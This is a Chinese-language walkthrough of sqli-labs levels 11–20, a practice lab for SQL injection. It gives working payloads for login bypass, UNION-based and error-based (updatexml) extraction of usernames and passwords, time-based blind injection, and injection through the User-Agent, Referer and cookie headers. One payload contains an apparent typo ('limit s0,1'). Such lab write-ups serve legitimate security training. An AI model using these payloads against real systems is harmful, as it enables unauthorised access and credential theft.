sqli-labs闖關(11-20)
sqli-labs闖關(11-20)
less-11
1、11-20關都為post傳遞,我們可以使用burp抓包來修改post提交的資料。
首先在使用者名稱後輸入一個單引號看看是否有報錯,這裡發現有報錯資訊
2、可以使用sql注入的後臺繞過方法登入試一下這裡使用者名稱輸入 admin' or 1=1 # 發現登入成功
3、接下來就可以使用order by爆欄位,接著用union聯合查詢爆使用者名稱和密碼了,這裡用的是hackbar使用POST提交
uname=1admin' union select group_concat(username),group_concat(password) from users#&passwd=123&submit=Submit
less-12
1、這關和11關類似只不過這邊閉合方式為 ") 只需要把登入的使用者名稱改為 admin") or 1=1 #
2、同樣的方法爆使用者名稱和密碼
less-13
1、這一關的閉合方式為 ') 登入使用者名稱為 admin') or 1=1 # 發現登入成功但是沒有回顯資料
2、這裡可以使用盲注和報錯的方法爆使用者名稱和密碼,盲注步驟較長,這裡使用報錯的方法,爆密碼
&uname=admin') and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#&passwd=123&submit=Submit
less-14
1、這關和13關一樣只不過閉合方式為雙引號登入名為 admin" or 1=1 ,這裡登入後也沒有任何回顯,用同樣的方法
less-15
1、這一關是單引號閉合登入後沒有回顯,也沒有報錯,這裡可以用時間延遲注入,根據網頁的響應時間來逐字猜,這裡使用if函式,提交到POST中
&uname=admin' and if(substr((select password from users limit s0,1),1,1)='d',sleep(5),1)#&passwd=admin&submit=Submit
less-16
1、這裡和15關是一樣的只不過是從單引號閉合變成雙引號閉合,方法一樣
less-17
1、這一關發現不管怎麼在使用者名稱輸入都不行,應該時對使用者名稱做了過濾,當我們輸入admin時發現不需要密碼或者隨意密碼也能直接登入,並且這裡也沒有回顯
2、我們可以嘗試在密碼處進行注入,通過在密碼處輸入單引號發現有報錯資訊
3、使用報錯注入,在密碼內輸入,爆資料庫名
1' or updatexml(1,concat('#',(select database())),1)#
4、當讓也可以用hackbar使用POST提交,是一樣的
5、直接爆使用者名稱和密碼
uname=admin&passwd=1' and updatexml(1,concat('#',(select * from (select concat_ws (' ',id,username,password) from users limit 0,1) a)),1)##&submit=Submit
less-18
1、發現使用任何方法這裡都登入不上去也沒有回顯資訊,,這裡的username和password應該做了嚴格的過濾,只能輸入正確的使用者名稱和密碼試一下,發現有顯示User-Agent資訊
2、這裡使用header頭部注入,修改User-Agent的值,這裡用hackbar進行注入,注意這裡需要登入成功才行
爆資料庫
' and updatexml(1,concat(0x7e,database()),1),"1","1")#
爆列名
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1)),0)and '1
爆password
' and updatexml(1,concat(0x7e,(select group_concat(password) from users )),0)and '1
less-19
1、這關和18關一樣,只不過User-Aent換成了Referer
2、用同樣的方法使用hackbar替換Referer
less-20
1、這關發現正常登入後的頁面是這樣的
2、發現頁面中有cookie資訊,根據題目提示應該清楚了這裡是cookie注入,用同樣的方法替換cookie試試,這裡發現用不了post提交,回顯不正確,所以直接用的cookie